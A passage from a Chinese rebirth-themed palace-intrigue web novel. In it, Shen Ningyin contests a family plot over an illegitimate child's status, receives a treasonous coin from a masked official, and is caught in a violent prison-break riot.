老夫人苍老的眉心一蹙，没想到她竟这样直接地反驳，默了默，问：“怎么不妥了？”
沈宁音表面有些压不住的慌乱，其实内心里早就有了打算。
她转头看向秦齐，小孩儿脸色难看，想发火，但又顾忌着老夫人和秦耀阳，只得强忍着，忍得小脸通红。
“秦齐，你可愿以后到侯府去？可愿以后听我的话？”
沈宁音是昌平侯府的主母，往后就该是她来当这个家，所以她这般问谁也挑不出错来。
秦齐哪里有这么多弯弯绕，只知自个儿厌恶眼前的女人，沈宁音眼神一冷，秦齐整个人又气又怕，连忙将头摇得似拨浪鼓：“我不要！”
秦齐扑进了中年妇人的怀里，声音都带上了哭腔：“堂婶婶，我不要去！”
沈宁音这一番下来，族老都噎住了。所有人都将目光无奈地看向了老夫人。
“祖母，就算咱们心善，想让孩子过得好，可若是孩子不喜欢、不愿意，他也不会开心的。”
沈宁音言辞恳切，一点也不像是有任何私心：“既然是要荣养四祖父的嫡重孙，不如就让他上自个儿喜欢的地方住着，再由侯府拨付银钱供他锦衣玉食，安稳度日吧。”
44. 身份
老夫人蹙着眉，下细打量她，似乎在衡量什么。
沈宁音坦坦荡荡的看了回去。
她的灵魂并非是没见过风浪的年轻媳妇，这点儿城府沈宁音还是有的，哪怕面对的是高高在上的老封君。
老夫人还没说话，倒是不明就里的围观之人都在点头议论着。
秦齐是个小孩儿，将将又被吓着了，这会儿倒是闭着嘴一句囫囵话也不敢说了。
老夫人递了个眼神，旁边儿的族老心领神会，轻咳了一声：“这样怕是不妥。”
“有何不妥？”沈宁音追问。
那族老原以为这少夫人是个性子软的，可没想到刚拜了祠堂就敢不顺从、敢追问，当下也说不出个所以然来，只好皱紧了眉头端起了架子：“不妥就是不妥，这些事儿自有长辈们安置，你莫要插嘴。”
寻常人听着话都说到这份儿上，自是不敢再造次，偏沈宁音知道内情，绝忍不了。当下弯了弯红唇道：“叔公们兴许不知，我如今管着侯府中馈。”
“既是府里要添人，那么各种缘故，晚辈还是要知晓一二才好。”
沈宁音话说得恭敬又柔顺，可意思却是不依不饶的。
老夫人听了这个，心里一时发堵，脸色肉眼可见的不悦。
但沈宁音低着头，权当没瞧见。
“只是不放心。”老夫人深吸一口气，自己给出去的管家权，沈宁音的表现又不像是故意，在众人眼里更像是认真负责。
这会儿她要再当众把权收回去，丢的是昌平侯府的脸面，更是打老夫人自个儿的颜面。
“如今，你长嫂也不在，有什么事儿，等回府再议。”
老夫人准备先招呼人回府。沈宁音没等她起身，上前笑着按了按道：“如今叔伯长辈们都在，就只缺嫂嫂一人，不如在这儿将事儿落到实处去。”
“再说了，嫂嫂昨儿摔了一跤，想必挺严重，十天半个月的也好不成，还是别搅扰她了。”
沈宁音说得恳切，老夫人想发火，又挑不出理由来。
秦耀阳一脸丧气，半点也指望不上，而闵氏根本就不知情，老夫人压根儿不敢将事情告诉她，闵氏藏不住事儿，她若知道，定要捅破了天去，谁都落不了好。
老夫人心里憋着一口气，索性敲了敲手里的杖子，愠怒道：“总而言之，秦齐老身一定要接他回侯府！”
她盯着沈宁音，沈宁音也在看老夫人。
可很快，老夫人觉着看不懂了，沈宁音的目光并没有她想象中的愤怒、隐忍又或者是抵触。
沈宁音甚至温柔得过分，语气也带着轻哄：“祖母既决定了，那便这么办吧。”
老夫人、中年妇人，还有那起子心里又盘算的人尽都齐齐舒了口气。
可下一瞬，沈宁音话锋一转：“不过……”
在众人看过去时，沈宁音肃然开口：“孩子入了咱们侯府，总归要有个身份。”
沈宁音记得，前世的时候那孩子可不是什么亲戚之子的体面方式入的族谱。
那时候沈弦思闹得厉害，侯府没想全着她的脸面，秦齐直接就是秦耀阳在外头的庶子接回来。
说是庶子，秦耀阳根本不碰沈弦思，等年深日久，侯府没有其他子嗣，那么嫡子庶子又能有什么分别？
若非周婉身份特殊，休了沈弦思再娶也是惘然，前世怕是就直接要休沈弦思了。
可今生，在沈宁音的运作之下，沈家有恩于侯府，但凡沈宁音不犯错，谁也奈何不了她。
秦家人的谋算左不过就是先模糊了这孩子的身份，等进了府，他就能成为拿捏自己的一张牌。
但凡沈宁音肚子不争气，又或者不合着秦家人的心思，那么秦齐在任何时候都可以成为嗣子！
那些人可以名正言顺将沈宁音辛苦打熬出来的家业统统占去！
沈宁音可不会放任这么个危险在身边儿。
“分这般清楚做什么？”老夫人眼神有些沉，更添了几分警惕：“一个孩子，能花用多少？”
沈宁音笑着伸手挽住她的手臂：“祖母，话不能这么说。”
“既入了府，自不是吃好穿好就可以的。”她转头看了一眼秦齐，小孩儿这会儿当着人面儿也不好发作，只躲到他大人身后去。
沈宁音笑着道：“哥儿也有六七岁了吧？寻常人家怕是要开蒙的。”
“就算吃穿用度不区分、府里上下也都不敢不敬着，可是对外呢？”
沈宁音掰着指头细数：“要请夫子，要与同窗交往，要和外头饮宴、踏春、郊游、马球、射猎。这些又该如何？”
沈宁音说得认真，老夫人、昌平侯、秦耀阳的脸色都是变了又变。
尤其秦耀阳这等两头心软，深情又薄情的柔韧蒲柳，已经攥紧了拳头。
秦耀阳虽看着秦齐不成器，可真到了事儿临，又只能巴巴地看向自个儿的祖母。
老夫人心里复杂得紧，若说掏心窝子的，自家这孙媳并不差，甚至在这样的场合如此细致入微地摆弄事情，在她这儿是要比那闵氏好了不知多少倍的。
可恰恰是这样，老夫人更堵得慌了，沈宁音这会儿说的所有话，都是老夫人准备好将来若有变，拿这个逼着她认下儿子说辞，每一个字都切中了老夫人的心思。
众人心里在不断纠结，唯独沈宁音万分淡定。
能不淡定么？这些话，恰是前世沈弦思家书里的、老夫人私底下逼她认儿子的鬼话。
沈宁音是半个字都懒倦去改。
等了好一会儿，沈宁音见老夫人一时也不说话，便笑着主动道：“既然小哥儿的爹娘都已经不在了。”
沈宁音故意顿了顿，眼角的余光瞥了一眼秦耀阳。
男人神色古怪里透着尴尬。
“那也不是那等不要孩儿的混账东西。”
听了沈宁音的话，秦耀阳整张脸臊得很不自在。
沈宁音也没去看，只继续认真道：“那不如将哥儿认作咱府邸的嫡哥儿？”
老夫人等人尽都是一愣。秦耀阳更是将方才的羞臊抛诸脑后，上前拉着
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了沈宁音的手。
男人眼神里凝出感动与深情来，一副绝不负卿的模样：“宁音，他顽劣弄伤了你，你还愿意不计前嫌人他做嫡子？”
族老一拍大腿，抚须一笑：“这就极好！”族老冲老夫人笑着拱手：“老封君真真是可喜可贺啊，府里娶得个贤惠孙媳，还得了个好重孙，简直是双喜临门。”
老夫人很是受用，心情也一扫阴霾，她笑着看向面前的小夫妻：“好好好。”
一脸三个好字，怎么看怎么觉着沈宁音顺眼起来，慈爱地嘱咐：“宁音，你既然觉着孩子投缘想收养，那就先教养着，相信你有了齐哥儿，你自个儿的嫡子也很快会托生在你肚子里来。”
沈宁音只感觉秦耀阳握着自个儿的手就已经够叫她不舒服了，再被个面慈心黑的老妖婆往紧了一握，简直让人想吐。
沈宁音不动声色地抽出秦耀阳与老夫人握着的手。笑容依旧温婉，可淡了许多：“祖母、大家想是误会了。”
抬起头，沈宁音冲老夫人软声道：“孙媳的意思，是让长嫂认养齐哥儿。”
“什么？”秦耀阳愣住。老夫人与昌平侯对视一眼，脸色往下沉了沉。
“好啊好啊！”一片安静中，唯独秦齐眼睛明亮拍手叫好。他早就想跟母亲跟爹爹一起住在大宅子里。
毕竟是丑事，秦家为了掩人耳目，根本就不敢让孩子在府邸多走动。
如今，这个提议一出，不知情的人看娃娃开心，而周婉也却实死了夫君寡居凄凉。大家都以为极好。
可老夫人眼神凌厉地看了秦齐一眼。
小孩儿哪里见过最疼自己的慈爱祖母这般凶狠，当下哽住，他不知自己做错了什么，红着眼圈儿想哭又不敢哭出来的可怜模样。
“你嫂嫂寡居多年，小孩子顽劣，怕是养不好的。”老夫人否决得斩钉截铁。
“说不定，嫂嫂有了儿子，日子就能过得不一样了呢？”
沈宁音就是要故意挖坑的。
孩子已经不小了，她先前就提过孩子像秦耀阳，此时此刻，众人都有了印象。
等往后秦齐越长越像秦耀阳，娃儿再在他亲娘膝下，每日的提醒着所有人这段为人不齿的奸情，光是耗也得叫她们内耗死。
老夫人显然也想到了这一点，她坚决道：“不行！”声音有些大，众人都是愣住。
感受到所有人的目光，老夫人意识到自己情绪有些太大了。她缓声笑着道：“婉儿又不在这，咱们又岂能帮她做决定？这事容后再议。”
沈宁音压低了眉尖，脸上露出个失望的神色来：“那可真是可惜了。”
但这会儿骑虎难下，话已经说到了这个份儿上，想要囫囵过去也是不成了。
老夫人也只能开了金口：“那就暂时，按着亲戚的身份入了侯府。”
所有知情的人很是失望，老夫人也是失望的。
可是没办法，没人能知道这侯府新来的少夫人这般厉害。
轻飘飘的一些话，就搅乱了秦齐入宗祠的身份。
45. 夜探
宗祠之事就这么告一段落。
秋日里，入夜的风已经有些偏凉。沈宁音沐浴之后躺上床榻，也还得抱一个汤婆子才好安眠。
人一旦放松下来，那些个劳累疲倦感觉就仿若随着葳蕤的烛光自四面八方而来。
“少夫人，这个力道如何？”兰香拿着美人拳轻轻给她捶着站得酸疼的腿。
沈宁音闭着眼，嗯了一声。
“少夫人，今儿那小哥儿奴婢瞧见了，他朝着您的马车吐唾沫呢，真真没教养。”兰香撇撇嘴：“赶明儿您怕是不好教的。”
沈宁音不必看也能想到秦齐那番模样。
沈宁音波澜不惊，前世，冷元景的庶子庶女不知凡几。她那时就教养得严苛，生怕婆母与夫君被人指摘。怕少一辈辱没了冷家书香的门第。
庶子庶女们个个学问好，规矩也好，可小孩儿就是小孩儿，哪能有那么多懂事的？只有话本子小说里头才会有不要亲娘要嫡母的。
你再如何尽心竭力，那些孩子也不会真向着你，小孩儿们最会看眼色。他们不看谁辛苦，只会看谁得势。
冷元景不待见自个儿，婆母又给他纳了个水灵的娘家姑娘。偏纵着儿子宠妾灭妻。要不是沈宁音治家理事有点儿手腕、还有用处，她怕是在姑苏时，都没法立足了。
如今的沈宁音可不会再分付关爱给人养孩子，她淡淡道：“你管这些做什么？”
兰香抬头瞧着她神色，以为主子是气自个儿没规矩，连忙垂首，打了一下自个儿的嘴：“少夫人，是奴婢多嘴。以后再不胡说了。”
沈宁音笑了笑，将她扶起来：“我又没怪你的意思。”
相对于染竹的过于谨慎，兰香却是个更鲜活的，她能入了沈宁音的眼，就是因着她事事都出乎真心，真心实在的时候比什么时候都能更细致，办事也更婉转得宜，这一点，在某些时候，倒比保守的染竹好用得多。
沈宁音前世是不喜兰香的。因为她有两幅面孔，在她跟前儿细致软怂，到了外头便要张牙舞爪。
可重来一世，沈宁音反倒更愿意纵着兰香的这份恣意妄为。
“明儿就把祁秀院关了，谁也别想往咱这儿塞人来。”沈宁音看兰香惊诧的模样，笑着碰了下她的鼻子：“就你亲手闩，就说我病了，那孩子，谁爱养谁养去。”
“是。”兰香听罢，脸上露出喜悦来，起身拍拍灰尘：“奴婢现在就去。”
“去吧。”沈宁音笑着又吩咐了两句。是叫兰香闩好就自个儿歇下。沈宁音累了一日，眼下已经是撑不动眼皮子了。
她歪在玉枕上，很快便有些半梦半醒。
人一旦将醒未醒、将睡未睡，就会有飘飘渺渺的幻觉，前世的、今生的，统统交织在一处。沈宁音从来都睡得浅，而这次尤其严重。
她梦到了一个男人。
很久很久不曾梦过的男人，前世今生好几十年过去，沈宁音几乎已记不得他的模样了。
而此刻，那四爪金蛟的紫色宫衣，就好像活生生地还在自个儿面前。
【你真好看。】
【所以呢？】
【我要你做我的夫婿。】
【……你认真的？】
【是的，我认真的。】
鲜红的颜色像一块幕布，倏然破碎开来。沈宁音心脏狂跳，猛地睁开眼睛。
她整个人还处在一种诡谲的迷茫状态，剧烈的“咚咚”声背景里头，眼前竟真的站着一个人。
男人！
戴面具的男人！
“薛岚！”沈宁音的视野逐渐清晰，她一下子反应过来，这是自个儿的卧房！他怎么会在！
“……”薛岚没说话，但绷紧的手臂有种不能宣之于口的关于怒火的隐忍。
他冰冷的声音几乎是从牙缝里挤压出来：“放开。”
“？”沈宁音视线下移才发现，自己正抓着人家的手，还抓得死紧。
她一个哆嗦，连忙撒手。
薛岚站起身，低头整理衣袖，还抬手拍了拍她碰过的手掌。
这等地方，沈宁音又只穿着中衣，着实狠狠臊了一下子，可转念一想，薛岚是薛公公的干儿子，也不是武将勋贵出身，他能做到勾当皇城司公事，那必是个阉人无疑，自个儿有什么羞的？
他便是想做点儿什么，也没有干事儿的工具不是？
沈宁音索性将被子掀开，下床：“大人，您还真是不讲究呢。”
薛岚抬头时就看见她好不避讳地宽衣，她如瀑的黑发披散在一边肩头，露出一截白皙修长的脖颈，那赤色肚兜绳子结在莹玉肌肤映衬下分外明显。
女人挑衣裳的时候，肌肤之下的蝴蝶骨时隐时现，无端将她的后背也描得脂香粉艳，惹人燥热。
薛岚不自觉地捏紧了指头上的扳指——这女人……真是不要脸。
沈宁音没听着他说话，但她这会儿顾不上，因为身子冷，她原想挑个厚的，可挑了好一会儿，才选中了一件稍微好些的襦裙。
沈宁音连忙披上，只是她到底高估了自个儿，若是寻常衣裳就罢了，可如今，昌平侯府可不比她前世在冷家，衣裳都是最时兴的，复杂得很，没有丫鬟帮助，沈宁音弄得也满吃力的……
所以她低着头，想让自己看起来轻松穿上的竭力似乎都变成了咬牙切齿。
她用力扯了扯，想重系，可手一滑：衣带没松开，反倒打了个死结。
“……”沈宁音额头一下子沁出汗来。她是不想这么丢脸的，可这会儿喊兰香怕不是更丢脸？
薛岚站在那儿半晌，到底是看不下去了。他一声不吭走过去，一把将人拉到正对面。
沈宁音眼底有些惊慌，但良好的城府将她的慌乱统统压制了下去。
此刻若有旁人看来，那必是两个人都无比镇定又毫无波澜的。
薛岚的手很巧，死结
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虽难，可男人绕来绕去后，竟然以一种叫沈宁音看来极其不可思议的法子轻松就解开了死结，只是衣裳散落下去的时候，他看着她大片雪腻的肌肤竟闪了下眼神。
沈宁音拉拢了衣襟，觉着自个儿兴许是看错了。
想来这小子从前在宫里当差时，也应该是经常伺候娘娘们，连避讳都不曾避讳一下的。
薛岚的手指僵了一下，觉着面具里竟然有点热，他很想捏一捏眉心，但手也只能做到搓一下面具而已。
沈宁音要接着穿，手一下子被推开，男人的声音有些低沉沙哑：“我来。”
沈宁音想呵斥，咬牙忍了：“我叫我的丫头来就行。”她努力了一下，最终接受现实，有些方面，若往日不在意的话，还真不是凭着回忆就能做好的。
薛岚的声音冷冷的，像是淬了冰，他粗暴地拽了一下她的衣裳，仿佛这衣裳有多么不听话似的：“你以为你的人还醒着，我能进来？”
“……”沈宁音瞪大眼睛要发火。
薛岚一记冷冰冰的眼神笼罩上去：“只是一点叫人昏睡的药粉，一个时辰就会醒，没有什么后遗症。”
“你……”沈宁音话没说完，薛岚又道：“翻墙。”
“你堂堂皇城司的使司大人，岂能做这等偷鸡摸狗之事？！”沈宁音冷笑。
薛岚最后用力系拢了一下沈宁音的腰封，勒得女人闷哼了一声。
这声音在寂静的夜色里分外娇冷。
沈宁音脸都要红了，她连忙捂着自己的嘴。
薛岚的神色并不好惹，此刻帮她一穿完就后退了两步：“你知不知道你在说什么？”
“到底是谁？”他抬手指着窗外：“将院门闩了。”
“是希望本官破门而入是么？”
“……”沈宁音满脸都带着点震惊与恼怒：“那你来做什么？”
她都要气笑了：“分明是你不请自来，难道还要我开门揖盗？”
薛岚不喜她这幅牙尖嘴利的样子，面具下的眉头皱得很紧。
他也不说话，只从怀里掏出一个东西扔到桌子上去。
沈宁音顺着声音看去，只看见一枚小小的铜钱。
这铜钱好似有些年月，上面还沾染了一圈绿色的锈迹。
“这是什么？”她拿起来仔细打量，拿手指一搓，绿色铜锈掉了之后，下面并不是当朝的年号。
而是伪朝“圣德通宝”。这东西可不是什么好东西。
沈宁音本能地想将东西扔掉。
可是她又有些惊疑不定。
因为这个玩意儿自圣人归朝以后就被认为很晦气，举国上下，统统回收重新铸币，而私藏的人，全部都是按照反贼来论处的。
这个世上就没几个人敢藏。
可眼前之人是谁？
这是圣人面前的大红人薛岩的干儿子，又是皇城司的核心高层之一。他拿着这个，是要谋反？
46. 帮助
斑驳的树影在窗外招展着，连风声都带着呜咽，鬼魅般惹人意乱。
沈宁音没说话，只目光带着戒备与询问。
薛岚立在那，手握成拳背在身后，今晚他没佩着他那柄绣春刀，并不是来杀人的。
这也是沈宁音将才敢这般蓄意佯作轻松的原因。
只是这逆贼钱币过于惊世骇俗了，沈宁音一时又有些拿捏不准。
“后日，春阙街，救一人。”薛岚的话太过直接，沈宁音没反应过来，蹙眉：“什么？”
薛岚面具下的脾气显然并不好，眼神更冷了几分。
饶是沈宁音见多识广也不禁在心里有几分发怵，她凝眉硬着头皮道：“我不是不愿，既是要紧的事，你不告诉我，我又如何能配合得好？”
薛岚默了默：“许冠生的阿姐。”
沈宁音倏然想到了寒山寺阁楼上那个重伤差点儿死掉的男子。
“这是你欠许家的。”薛岚咬牙切齿提醒。
沈宁音也有点沉默，许家虽因她的提前设计，免了灭门的悲惨。可旁人不知道啊。而且如今，那许冠生、许家众人，终归与自己沾惹了点因果。
“好。”沈宁音抿紧唇瓣，脑子里飞快思索着。她顺手又将那钱币递回去：“大人，这钱币就不必了，您的身份怕是比妾身更好处置……”
皇城司若是发现了此物，大可以说成是从乱党手里搜来的脏物，可昌平侯府呢？
当初在寒山寺答应薛岚，并且救治许冠生，也不过权宜。
可如今再冒着官司的风险出手，那就是傻了。
薛岚抄着手，一双亘古冻土般凌冽的眸子死死盯着她，那粗实的手臂上布料绷紧，完美流畅的肌肉线条清晰又有力，仿佛随时能掐断人的脖颈。
沈宁音看着那两条手臂，无端端想起了男人的手掌掐着自己脖颈的窒息感。
她清了清嗓子，有点慌。
“拿着。”他终于在寂静的空气里咬出两个字来。
沈宁音垂眸，还是把钱币收拣好了。
薛岚见她藏在袖子了，皱紧眉头：“放好些。”
沈宁音极少遇着这样死缠烂打的情形，忍着火气，开口：“我已经收好。”
薛岚面具下的眉头蹙着，四下打量。
沈宁音警觉地盯着，但男人很快便盯上了绣篓子里乱七八糟的材料、丝线，又从那为数不多的东西里头挑出来一个香囊。
“你作甚？”沈宁音平日里涵养尚可，就唯独受不住眼前这男人的招惹，他是真没规没矩的。夜闯寝房也就罢了，还乱动女人家的东西。
薛岚把她手里的钱币塞进空落落的香囊里头，一把拍在她掌心：“这样。”
沈宁音如今也不过是闺阁女儿家娇矜的身子，他拍得又带了点迁怒，直让她受伤刚好的掌心又疼又麻。
沈宁音要在心里拼命对自己开解，薛衙内没读过什么书，粗人一个，莫同他计较。她这才渐渐冷静下来。
见她没说话，这么能忍，薛岚倒是高看了她一眼。
此时，外头传来隐隐约约的打更声音，沈宁音看向薛岚，牵扯出一抹笑：“若没什么事，薛大人可以先离开了么？”
薛岚很没眼色，看着她把香囊放在了枕头下，又有种不想走的趋势。
“你放这，也不怕秦世子发现？”薛岚冰冷的话带着点厌蠢的不满。
沈宁音素手将胸前的发丝往脑后拢了拢：“不怕。”
薛岚不走，也不说话，沈宁音渐渐失了耐心，索性道：“世子他不睡这！”
“……”薛岚愣了一下。
沈宁音懒得解释：“还有事？”
薛岚终于转身往外走，没走几步，他蓦然回头：“带上那枚钱币，不想死的话。”
也不等沈宁音有所反应，他身影一闪，消失在夜色
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里。
等人走后，沈宁音才从玉枕之下又摸出了那香囊。隔着丝绸触及钱币冰冷的形状，思忖着要如何处置它。
薛岚此人阴晴不定，虽对手下人有些义气在，能冒着掉脑袋的风险上诏狱的死牢救人，可他终究是靠不住的。
做他的朋友且不说能否得他真心照拂，就算付出一切能换得他庇护又如何？他终究是要死的。
连薛岩都保不住他，沈宁音自问可不是个神。
沈宁音原本就半点儿也不想沾惹。但现在，沈宁音看见他给出这枚圣德通宝后，便已经身在局中了。
知晓这样的秘密，她自知暂时是无法抽身的。
薛岚不会容许。
但真要处置此物，埋了，扔了也不妥，后日若不去，沈宁音不敢去想后果。
薛岚今晚夜探侯府，怕也是存了叫自己别有侥幸心理的威胁意思。
报官，更不行，没法做到薛岚身上不说，还可能牵连上婆家。
沈定山没什么本事，交给他，他怕是处置起来更容易错漏，保不齐交去了圣人那儿。薛岚出事，薛岩能把整个侯府与沈家都屠了。
给老夫人也不成，老妖婆随时可能将沈宁音推出去做挡箭牌。
沈宁音思来想去，所有的思绪化作了一声叹息。
手里的权太少，至少这次，她知道自己没有别的选择了。
薛岚的手段极好，沈宁音也不知他是如何能做到的，这般闯入侯府内宅，竟然半点风声也没传出去。
沈宁音提着的心稍稍放了下来。
接下来的一天一夜，秦耀阳并没有踏足祁秀院。兴许是因着门闩着？也兴许是为着去陪秦齐。
总之沈宁音的院子倒是清净许多。
但她也并没有闲着。
既然决定救人，那么该做的准备还是要有的。
就这样，渐渐就到了救人的那一天。
47. 乱子
春阙街，是在东市与最繁华的北街逢中，此处的街道最宽，又四通八达的。
主干道的一头连接着砍头的菜市口，另一头则是皇城司诏狱与衙门。
这是条通往死又或者生不如死的路，许多罪人断罪后都要打这儿经过。
沈宁音掀开车帘，外头还挺热闹，行人熙攘。
只是很快的，沈宁音就敏锐地察觉到有好几道视线若有似无地扫过了自个儿的马车。
她攥紧帘子，飞快放下。
这等被窥伺的感觉叫沈宁音本能地抵触与不舒服。
“少夫人，奴婢没瞧见这附近有咱们的铺子……要不，咱们还是掉头去北街吧？”
外头传来染竹忐忑的声音。
染竹素来谨慎，显然，敏锐的人，往往对于危险的预感都是这般趋同的。
沈宁音心里也没底，但这会儿来都来了，总归不能直接走的：“附近的糕点铺好像有桃花酥。”
她强迫自己冷静下来，手握紧了那只装有钱币的香囊。
染竹买来桃花酥，沈宁音还没来得及吃便听见了动静。
“让开让开！”远处敲锣游街的声音传过来。这声音叫沈宁音心里一紧的同时，无端也舒了一口气。
沈宁音冷静吩咐：“将马车赶到边上些。”
她戴上面纱下马车，这才看清了来的一行人——七八个官差押解着一架囚车，车里的女子身上是脏兮兮的布衣，女子怀里还抱着个破布娃娃。
显然是刚抓回来的。
那布娃娃上都是血，她却是死死箍着不撒手，满眼都是惊慌害怕。
“打死她！打死她！”这时，人群里爆发出看客们愚昧麻木的嬉笑声。
臭鸡蛋、菜叶子，各种坏掉的果子统统往囚车上砸去。砸得那女子哀哭不止。
兰香与染竹哪里见过这等状况，都吓得花容失色不忍去看。
“她是犯了什么错？”兰香苍白着小脸小声问。
沈宁音没说话，旁边儿的男子嗤笑了一声，上下打量她们：“第一次来春阙街吧？”
“管她犯了什么错处，能上春阙街的，终归是有罪的。要么活不成，要么一碗绝嗣药抬去军营里做妓子。”那人露出个猥琐的笑，而后就往兰香与染竹手里塞过去烂菜叶子：“来来来，一会儿扔准些。”
他也想给沈宁音的，沈宁音眼神冷得像刀，也没接，男子只得悻悻地退员着些。
可这会儿也不止那一人魔怔，旁边儿的大婶儿就往沈宁音怀里塞了个烂苹果：“拿着罢！”
沈宁音看着那大婶，对方却是对她的抗拒不以为意：“你同情她做甚？这儿可多的是番子，仔细把你当同谋给拿下！”
婆子虽是吓唬她，可沈宁音听罢，不禁攥紧了手里的烂苹果。
这种荒唐事，紫禁城里的那位圣人还真做得出来。譬如他将将回朝，便把那两三个一路陪着他出生入死的老臣、女眷都屠了。
可怜那些臣工没死在北夷的刀下，受尽欺凌挣扎求活，好不容易回来了，却死在了故国的京城。
沈宁音越思忖越添心凉。
这时，人群有人惊呼一声：“快看！那是皇城司！”
“真真是威风啊！”
人群里瞬间爆发出更亢奋的议论：“那女犯人看起来脏兮兮的，怕不是个大美人！这还没进窑子，就给上边儿人瞧上了？”
一旁的男人开口：“那冠服我认得，那是皇城司公事的衣裳。”
沈宁音冷冷地睃了那些人一眼，这才抬头看过去——但见高楼之上，坐着四个身着黑色绣纹锦衣的男子。
显然，皇城司里十一位公事大人这次来了四个。
沈宁音看见最边角处坐着的面具男人，有那么一瞬间，她都要觉着这男人是想坑死自己。
一对三，还有那么多皇城司番子遍布左右，他薛岚凭什么觉得能救下那许家女？
沈宁音一咬牙，当机立断吩咐：“走！”
她攥着裙摆，转身就要往路口去。
沈宁音留了个心眼子，这地方离路口不算太远，马车拐一下，大约七八个呼吸就能绕道离开。
“不行啊！少夫人。”染竹声音里带着些焦急：“人太多！”
沈宁音也发现了，计划终归是赶不上变化，也不知哪里突然来了这许多的人。
这些无端端出现之人将整个街口围得水泄不通
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春阙街巷道多，最近的一处马车却是挤不进去的。
沈宁音立马便决定扔下马车先走了再说，可等她去吩咐丫头们时，破空声响，屋顶上一个皇城司的番子惨叫一声中箭坠地。
就在这刹那间，那些个瞧热闹的麻木之人统统都惊慌尖叫着到处乱窜。
沈宁音大惊失色，饶是她动作够快，依然只抓住了兰香的胳膊。
“染竹！”沈宁音发了一声喊，却只能眼瞧着染竹一身翠绿比甲被湮没在了人群里。
“少夫人！”兰香也惊慌失措。
沈宁音不是没做准备，哪怕她防着出纰漏甚至带了两个家丁，但这样的混乱境况她想不到！
是个人都想不到！
这可是天子脚下、是上京城！
一起子贼人从各种各样地方摸出面巾，又抽出刀子冲杀过去。
百姓们人挤人，推搡、哭喊、但凡被踩踏上，那便是再起不来了。
沈宁音红着眼，心里恨死了恩将仇报的薛岚，这样多的皇城司番子，怕是早已经天罗地网，拿这女人做诱饵，等着这些人自投罗网！
她知道，越是这样的时候，越要冷静。权衡再三，她将袖子里的手指一伸，把香囊内的钱币一把扔到了地上！
这东西，叫皇城司的人查到就是个死！
沈宁音拽着六神无主的兰香往上一托，发了狠：“把我簪子拔下来！将窗户戳破。”
春阙街想来是因着乱，所以一楼的纱窗做得高些，这样的高度撬起来费劲。
兰香虽很懵，但她听话，沈宁音一吩咐，她就胡乱擦了把眼泪，拔了簪子将那窗子捅开，又用簪子隔着窗框拨开了里头的窗闩。
沈宁音要上去，旁人瞧着生路也要上去，兰香拽着她往上拉。
她裙子太长，动作并不利索。
沈宁音刚爬到一半，后头的人便抓住了她的衣裳，沈宁音发了狠，往后面一蹬。谁料腿蹬过去就叫人给握住。
一股子叫人绝望的力道袭来，沈宁音几乎给拽飞起来。
这力气绝不是寻常人！
沈宁音心里咯噔一下，天旋地转间，抬头就撞进了一双熟稔的眼睛。
48. 前夫
“果然是你！”是陈家三郎陈守岳。他一身金吾卫的衣裳，一双手将沈宁音的胳膊抓得死紧。
陈守岳满脸的嫌弃，沈宁音心里更嫌弃，方才她都要脱险了，偏这人冲上来将自个儿拽下来。
沈宁音飞快转头一看，窗子上爬满了人，兰香也早不知给冲到屋里什么边角了。
陈守岳看沈宁音满脸苍白，冷哼道：“今儿你遇着小爷，算你运气好，这就带你出去。”
沈宁音听了他的话非但没有喜色，反而心里火起。
有的人就是这样，毫无判断现状的能力，帮了倒忙、害惨了人还不自知。
但愤怒归愤怒，沈宁音也明白，如今自己身边没了倚仗，落在谁手里都是个凶多吉少，刀剑无眼，陈守岳这一身金吾卫的皮子再不中用，他有佩刀，也还是好使几分。
陈守岳见她不说话，只靠过来，春阙街混乱的刺鼻气息里忽然浮动了一股子淡淡的好闻的女儿香，他表情又颇有些不自在。
不过，他心里是得意的，陈守岳居高临下地俯视着沈宁音：“你可别误会，弦思妹妹心善至真，我救你只是怕她因你出事而伤心。”
沈宁音心里恼火，要不是他横插一杠，自个早进那铺子了，又何苦在这儿身涉嫌地？
圣朝的金吾卫，多是上京城里一些勋贵、官宦家闲散子弟们安置的闲差。要去打硬仗是不能的，维持一下百姓的秩序才是真。
可这次的事情有点儿大，皇城司大约是没料到前来劫囚的人非但武艺了得、还人数逆天。
沈宁音同样没料到，原本以为的皇城司一边倒的屠戮竟演变成了僵持。最叫她不能理解的是，皇城司来了这样多高层、那么多的番子，竟隐隐有落于下风的苗头。
她抬头看时，高楼上的大人们早已经空空如也。
此时此刻，沈宁音感觉到陈守岳突然抓着了她的胳膊，抓得她生疼。
沈宁音才发现，四周已经挤满了人，连陈守岳都要抓不住她了。
而春阙街的长街中心，道光戢影，血肉横飞，早就成了修罗地狱。所有人都朝着远离的方向疯狂逃生。
那些贼人杀金吾卫，杀百姓，还互相杀。
乱了！
乱得彻底。
人群中，陈守岳抓得艰难，在这等要命的时刻，沈宁音咬了咬牙，抬手去抓他。可一声布帛裂音，她手里拽着了一片袖子。
沈宁音懵了，万幸的是，陈守岳可恶归可恶，却也没想着要她死。
陈三是真想救人的，哪怕心里想着的是那沈弦思。
他奋力搡开两人后又抓着了沈宁音的胳膊。
没等沈宁音松一口气，明晃晃的刀光闪过。
沈宁音摔在地上的同时，一个口鼻戴着黑色面巾的贼人举刀就朝二人砍了过来。
陈守岳本能地撒开手，他惨白着脸色看着那刀、那人，哆嗦着嘴唇最后看了沈宁音一眼，惊恐盖过了理智与一切，转身奔逃。
沈宁音头皮发麻，事已至此，她唯有寄希望于里衣上贴着的丝绸与毛皮，当初并没想过会这般凶险，带上这些也不过是挡个致命伤罢了。
她一个闪身往旁边一避，沈宁音反应虽快，可身子却柔弱，那刀割破了胳膊，将那衣裳都划开一道口子。
沈宁音忍着疼起身往旁边扑，贼人的第二刀已呼啸而下。只是这一次，斜刺里另一个贼人冲出来。将先前那恶贼一刀砍死。
四周喊杀声里，沈宁音抬头，发现后来那贼人提着带血的刀血红着眼睛盯着自己。
这贼人与先前乱杀之人不尽相同，不像是乱杀，倒像是仇恨。
沈宁音惨白着脸色，此时此刻胳膊上的血流得跟泉眼似的，她浑身开始发软，脑子也泛着沉，没来由的，沈宁音想到了薛岚说过的话。
【带上那枚钱币，不想死的话。】
她捂着胳膊，胳膊上的血汩汩流淌，染红了她腰间的香囊，可是那里面早已经没有了圣德通宝。
贼人举起了刀。
而这一刀，避无可避。
“慢着！”一道声音从斜刺里传来，沈宁音听到这个声音，几乎是本能地苍白了唇瓣。
她脖颈就好似给灌了铅，缓缓转头。
男人一身儒雅深衣，白得晃眼，沈宁音看着他手里拿着一枚要命的钱币。
贼人看着那钱币，只将刀一收，果然不动声色地退了开去。
男子似乎松了口气。
